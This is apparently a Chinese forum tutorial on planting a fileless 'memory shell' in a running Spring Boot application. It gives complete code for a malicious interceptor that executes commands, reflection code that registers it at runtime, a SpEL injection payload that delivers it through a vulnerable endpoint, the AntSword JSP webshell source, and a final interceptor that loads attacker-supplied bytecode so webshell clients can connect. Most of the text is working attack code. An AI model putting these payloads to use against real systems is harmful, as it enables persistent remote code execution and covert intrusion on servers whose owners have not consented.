大体思路:request 到达 Controller 层时会经过 Interceptor (拦截器),所以我们可以自定义一个恶意拦截器,并将其注入正在运行的Spring应用。使得 request 经过我们的恶意拦截器时触发恶意代码执行命令。
测试环境:
java version 1.8.0_221
Spring Boot 2.5.1
一、拦截器的使用
1.1 拦截器的实现
可以通过继承 HandlerInterceptorAdapter 类并覆盖其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。
package com.example.spel.interceptor;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class InterceptorTest extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if( request.getParameter("id") != null ) {
PrintWriter writer = response.getWriter();
writer.write("InterceptorTest OK!");
writer.flush();
writer.close();
return false; //拦截
}
return true; //不拦截
}
}
1.2 拦截器的注册
实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法
package com.example.spel.config;
import com.example.spel.interceptor.InterceptorTest;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new InterceptorTest());
}
}
1.3 拦截器测试
- 带 id 请求参数拦截
- 不拦截
二、运行时拦截器的注册
2.1 运行时注册的实现
假设我们自定义了一个恶意的拦截器:
package com.example.spel.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("calc") != null) {
Runtime.getRuntime().exec("calc");
return false;
}
return true;
}
}
之前展示了如何手动注入拦截器,那么如何往运行中的 SpringBoot 应用中注入这个恶意的拦截器呢?
- 首先获取应用的上下文环境,也就是
ApplicationContext
- 然后从
ApplicationContext
中获取AbstractHandlerMapping
实例(用于反射) - 反射获取
AbstractHandlerMapping
类的adaptedInterceptors
字段 - 通过
adaptedInterceptors
注册拦截器
运行时注册拦截器具体代码如下:
// 恶意拦截器类名
String className = "com.example.spel.controller.Madao";
byte[] bytes = Base64Utils.decodeFromString("恶意拦截器的class文件的base64编码");
ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
// defineClass 恶意拦截器类
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取AbstractHandlerMapping实例, 用于反射
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<object> adaptedInterceptors = (ArrayList<object>) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
2.2 运行测试
对上面的恶意拦截器类进行编译生成 class 文件,再进行 base64 编码。
第一次请求,将恶意的拦截器注入正在运行的应用中。
之后的请求,触发恶意拦截器,执行命令。
三、Spel 表达式注入写内存shell
3.1 Spel 表达式注入的实现
@Controller
@ResponseBody
public class SpelController {
@GetMapping("/spel")
public String spelTest(@RequestParam("input") String input) {
String template = input;
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(template, parserContext);
return expression.getValue().toString();
}
}
3.2 Spel 运行时注册拦截器
将 _标题二 中的运行时注册拦截器具体 _
_代码_改写为 Spel 表达式的形式:
#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or ((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao", T(org.springframework.util.Base64Utils).decodeFromString("这里是恶意拦截器的class文件的base64编码"), 0, 这里填byte字节码长度)==(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or ((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0).getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader().loadClass("com.example.spel.controller.Madao").newInstance())))}
3.3 运行测试
对上面的 spel 表达式进行 urlEncode。
第一次请求,通过Spel 表达式注入,将恶意的拦截器注入正在运行的应用中。
之后的请求,触发恶意拦截器,执行命令。
四、蚁剑连接
冰蝎同理。
将蚁剑的 jsp 马进行改写,然后加入我们自定义的拦截器中。实现蚁剑连接。
4.1 蚁剑中的 jsp
蚁剑中生成的 jsp 马如下:
<%-- 使用时请删除此行, 连接密码: 1234 --%>
<%!
class AUXILIARY extends ClassLoader{
AUXILIARY(ClassLoader c){super(c);}
public Class profiler(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public byte[] first_class(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("1234");
if (cls != null) {
new AUXILIARY(this.getClass().getClassLoader()).profiler(first_class(cls)).newInstance().equals(new Object[]{request,response});
}
%>
简单解释一下就是,因为我们无法直接调用 ClassLoader
的 defineClass
方法,所以这里声明了一个类(AUXILIARY)继承了 ClassLoader
后调用父类的 defineClass
。既然控制了ClassLoader
的 defineClass
方法 ,那么我们便可以加载任意的类,为所欲为!
目标服务器端通过 request.getParameter("1234") 来接收蚁剑发送的重写了 equals 方法(恶意方法)的类的字节码。目标服务器加载字节码,之后获取类实例,调用包含恶意代码的 equals 方法。
4.2 改造jsp以加入恶意拦截器中
这里记录一下改写过程的踩坑点吧。
- 通过继承(放弃)
因为这里的恶意拦截器类已经继承了 HandlerInterceptorAdapter
类,所以无法再让其继承 ClassLoader
类来实现加载恶意字节码。所以打算在恶意拦截器类中再声明一个继承 ClassLoader
的内部类,然后利用该内部类去加载恶意的字节码。方案如下:
package com.example.spel.controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;
public class Madao extends HandlerInterceptorAdapter {
class AUXILIARY extends ClassLoader{
AUXILIARY(ClassLoader c){super(c);}
public Class profiler(byte[] b){
return super.defineClass(b, 0, b.length);
}
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cls = request.getParameter("1234");
if (cls != null) {
byte[] value = Base64Utils.decodeFromString(cls);
new AUXILIARY(this.getClass().getClassLoader()).profiler(value).newInstance().equals(new Object[]{request,response});
return false;
}
return true;
}
}
但是写完进行编译后因为使用了内部类的原因,所以会上传两个 class 文件:
所以果断放弃这种方法。
- 通过反射
利用反射去调用 ClassLoader
的 defineClass
方法,来加载任意类。
需要注意:同一个ClassLoader不能多次加载同一个类。 如果重复的加载同一个类 , 将会抛出 attempted duplicate class definition for name 异常。 所以,在加载类时, 加载该Class的ClassLoader也必须用新的,这里每次直接用反射获取 ClassLoader 实例。
首先我们反射获取 ClassLoader 的实例,但是 ClassLoader 是抽象类,无法直接实例化。
所以我们可以先找一个继承 ClassLoader 的内置类,再反射获取其实例。这里选择了 SecureClassLoader 类。
反射获取实例代码:
Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();
最终恶意拦截器的实现代码:
package com.example.spel.controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cls = request.getParameter("1234");
if (cls != null) {
byte[] value = Base64Utils.decodeFromString(cls);
// 反射获取 defineClass 方法
Method dm = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
dm.setAccessible(true);
// 反射获取 ClassLoader 实例
Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();
Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);
clazz.newInstance().equals(new Object[]{request, response});
return false;
}
return true;
}
}
编译成 class 文件,并进行 base64 编码。然后利用上面的 spel 注入注册恶意拦截器。
蚁剑连接:
五、写在后面
新手,刚学 java,若有出错,请多多指教。
参考链接(感谢):
https://landgrey.me/blog/19/
https://xz.aliyun.com/t/7491
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论